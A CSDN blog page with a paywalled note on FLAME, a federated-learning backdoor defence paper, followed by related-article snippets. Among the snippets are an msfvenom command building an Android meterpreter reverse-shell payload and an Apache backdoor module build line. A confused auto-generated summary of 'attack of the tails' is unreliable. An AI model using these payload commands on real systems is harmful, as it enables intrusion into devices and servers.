FL Backdoor Defense (Ⅰ) - FLAME: Taming Backdoors in Federated Learning

已于 2023-05-22 11:09:33 修改
阅读量1k 收藏
点赞数
分类专栏： ▶ Trustworthy AI 文章标签： 论文阅读 人工智能
于 2023-04-27 16:41:44 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_44944722/article/details/130389624
版权
FLAME算法旨在解决联邦学习中的后门问题，通过动态模型过滤、自适应裁剪和自适应噪声添加来识别和移除恶意模型更新，同时保持全局模型的主任务性能。论文分析了在没有客户端数据分布信息时面临的挑战，并提出了相应的解决方案。
摘要由CSDN通过智能技术生成

文章目录

论文笔记 - FLAME: Taming Backdoors in Federated Learning

1. 基本信息

论文标题 FLAME: Taming Backdoors in Federated Learning
论文作者 Thien Duc Nguyen, Phillip Rieger, Huili Chen, Hossein Yalame, Helen Möllering, Hossein Fereidooni, Samuel Marchal, Markus Miettinen, Azalia Mirhoseini, Shaza Zeitouni, Farinaz Koushanfar, Ahmad-Reza Sadeghi, Thomas Schneider
科研机构 Technical University of Darmstadt, University of California San Diego, Aalto University, Google
录用会议 USENIX Security 2022
摘要概述
了解本专栏 订阅专栏 解锁全文 超级会员免费看
WBZhang2022
关注
专栏目录
订阅专栏
input-aware-backdoor-attack-release:输入感知的动态后门攻击（NeurIPS 2020）
05-02
目录 输入感知的动态后门攻击 输入感知的动态后门攻击是一种通用的后门攻击... booktitle={Proceedings of Advances in Neural Information Processing Systems}, year={2020} } 要求 安装所需的python软件包 $ pip
【论文阅读笔记】FLAME: Taming Backdoors in Federated Learning
leticia_m的博客
03-02 854
Flame阅读笔记，若有错误欢迎指正
联邦学习中的后门攻击的防御手段
juli_eyre的博客
05-19 2207
后门攻击的防御手段横向对比 学习
联邦后门攻防综述【一】
AlexFaker的博客
11-14 534
联邦学习后门问题
如何后门攻击联邦学习
m0_56222998的博客
03-13 752
如何后门攻击联邦学习，原文链接：https://arxiv.org/abs/1807.00459
论文阅读报告
mental的博客
06-23 1047
后门特征描述： Benign models:良性模型； Backdoored models:后门攻击模型； Deviations of Backdoored models：后门模型的偏差； Gt−1G_{t-1}Gt−1​:上一轮局部模型和全局模型之间的偏差； W1,,W2,,W3,,W_{1}^{,},W_{2}^{,},W_{3}^{,},W1,​,W2,​,W3,​,:分别代表三种不同的后门攻击； 防御目标： 在FL环境下，能够有效缓解后门攻击的通用防御需要实现以下目标：（i）有效性：为了防止对手实
基于飞蛾火焰优化算法的函数寻优算法
心升明月的博客
06-03 1879
文章目录一、理论基础1、算法原理（1）种群初始化（2）位置更新机制2、算法步骤二、Matlab程序三、运行结果四、参考文献 一、理论基础 飞蛾火焰优化算法(Moth-flame optimization algorithm,MFO)是一种新颖群体智能算法，该算法由飞蛾和火焰两部分构成!通过横向定位导航机制来解决探索和开采之间的平衡问题。MFO具有参数简单、容易实现且鲁棒性好等优点，因此，自提出以来，便受到国内外学者的广泛关注，使其在诸多领域得到应用。 1、算法原理 （1）种群初始化 在MFO算法中，飞蛾个体
backdoor_federated_learning:论文“如何进行后门联合学习”的源代码（https-Source code learning
03-25
backdoor_federated_learning 此代码包括论文“如何进行后门联合学习”的实验（ ） 所有实验均使用Python 3.7和PyTorch 1.0完成。 mkdir saved_models python training.py --params utils/params.yaml 我鼓励与...
msfvenom-backdoor-android:Android后门应用程序，msfvenom android .apk的改进源代码-Android app source code
03-24
msfvenom-backdoor-android 此Android Studio项目包含由生成的后门.apk的源代码 $msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.178.30 LPORT=4444 R > result.apk （在Kali Linux套件中） 有关渗透...
FLAME-Algorithm-FLexible-and-Accurate-Motif-DEtector:纸
06-26
FLAME 算法（灵活且准确的主题检测器） 实施论文：高效准确地发现序列数据集中的模式 论文链接： : — 现有的序列挖掘算法主要集中在子序列的挖掘上。 然而，一大类应用，如生物 DNA 和蛋白质基序挖掘，需要有效挖掘连续的“近似”模式。 可用于寻找这种连续近似模式挖掘的少数现有算法具有可扩展性差、寻找模式缺乏保证以及难以适应其他应用的缺点。 在本文中，我们提出了一种称为 FLAME（灵活且准确的主题检测器）的新算法。 FLAME 是一种灵活的基于后缀树的算法，可用于查找具有各种定义的主题（模式）模型的频繁模式。 它也是准确的，因为它总能找到存在的模式。 使用真实数据集和合成数据集，我们证明 FLAME 快速、可扩展，并且在各种性能指标上优于现有算法。 使用 FLAME，现在可以挖掘使用现有工具非常困难的数据集。 FLAME (modelTree, dataTree, l, d,
Apache-HTTP-Server-Module-Backdoor:用C语言编写的Apache HTTP服务器的后门程序
05-16
root@kali:~/backdoor# apxs -i -a -c mod_backdoor.c && service apache2 restart /usr/share/apr-1.0/build/libtool --mode=compile --tag=disable-static x86_64-linux-gnu-gcc -prefer-pic -pipe -g -O2 -...
【破事水】FLAME游戏背后的算法
学渣戊的CSDN
08-25 1608
FLAME游戏其实就是一种映射
Moth Flame Optimization飞蛾扑火算法与鸟群（粒子群）算法PSO浅析
ragon_zhao的博客
04-17 1206
Moth Flame Optimization飞蛾扑火算法与鸟群（粒子群）算法PSO浅析
【论文笔记】AutoLFADS (Nature Methods, 2022)
Jurio的博客
09-11 1320
通过深度神经群体动力学模型实现最先进的性能需要对每个数据集进行广泛的超参数调整。 **AutoLFADS 是一个模型调整框架，可以根据来自各种大脑区域和任务的数据自动生成高性能的自动编码模型，而无需行为或任务信息**。作者在几个恒河猴数据集上证明了其广泛的适用性。
GPT-4论文阅读
weixin_52185313的博客
09-11 1127
本篇虽然是GPT-4的技术报告，但其中没有提到GPT-4的具体模型架构与训练过程，主要就是讲他的结果。GPT-4是一个多模态的模型，能够接受文本或者是图片的输入，最后输出纯文本GPT-4基本能够达到类人的表现，在事实性、可控性和安全性上有了很大的进步GPT-4在真实世界中与人还是存在差距，但是在很多具有专业性或者学术性的数据集或者任务上面上，GPT-4有时候能够达到甚至超过人类的水平。
ACL 2024：交叉领域情感分析——论文阅读笔记
weixin_62472350的博客
09-11 1215
阅读了一篇ABSA的论文，在这里写下自己的一些理解小笔记，可能有点小乱，原文在这下面： 论文链接：Refining and Synthesis: A Simple yet Effective Data Augmentation Framework for Cross-Domain Aspect-based Sentiment Analysis - ACL Anthology 中文文章链接：论文速递丨ACL 2024：交叉领域情感分析 (qq.com) 大多数ABS
clip论文阅读（Learning Transferable Visual Models From Natural Language Supervision）
最新发布
weixin_47696370的博客
09-14 365
clip
【论文阅读笔记】Tackling the Generative Learning Trilemma with Denoising Diffusion GANs
weixin_43357695的博客
09-10 1286
我们模型的一个自然问题是，为什么不仅仅是训练一个 GAN，它可以使用传统的设置一次性生成样本，而我们的模型通过迭代去噪生成样本。在图像生成中，我们观察到我们的模型获得了与扩散模型竞争的样本质量和模式覆盖率，同时只需要两个去噪步骤，与Song等人(2021c)在CIFAR-10上的预测器校正器采样相比，采样速度提高了约2000倍。为了说明这一点，在图 2 中，我们可视化了多模态数据分布的不同去噪步长的真实去噪分布。具体来说，我们的正向扩散的设置类似于Eq. 1中的扩散模型，主要假设T很小(T≤8)，
attack of the tails: yes, you really can backdoor federated learning
08-07
在“尾数攻击：是的，你真的可以后门联合学习”这个问题中，尾数攻击是指通过篡改联合学习模型中的尾部数据，来影响模型的训练结果以达到攻击的目的。 联合学习是一种保护用户隐私的分布式学习方法，它允许设备在不共享原始数据的情况下进行模型训练。然而，尾数攻击利用了这种机制的漏洞，通过对局部模型的微小篡改来迫使全局模型在联合学习过程中产生误差。 在尾数攻击中，攻击者可以修改尾部数据的标签、特征或权重，以改变训练模型。这可能导致全局模型在聚合本地模型时出现错误，从而得到错误的预测结果。攻击者可以利用这种攻击方式来干扰或扭曲联合学习任务的结果。 为了解决尾数攻击，可以采取以下措施： 1. 发现和识别攻击：通过监控和分析联合学习模型的训练过程，可以检测到异常的模型行为。例如，检查模型的准确性变化、每个本地模型的贡献以及全局模型与本地模型之间的差异。 2. 降低攻击影响：可以采用如去噪、增加数据量、增强模型鲁棒性等方法来减轻尾数攻击的影响。 3. 鉴别合法参与者：在联合学习任务中应对参与者进行身份认证和授权，并且限制恶意攻击者的参与。这样可以减少尾数攻击的潜在风险。 4. 加强安全机制：引入加密技术和鲁棒算法来保护联合学习过程中的数据和模型，防止未经授权的篡改。 综上所述，尾数攻击是一种可能出现在联合学习中的安全威胁。为了保护联合学习任务的安全性和可靠性，需要采取有效的措施来识别、减轻和预防尾数攻击。
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值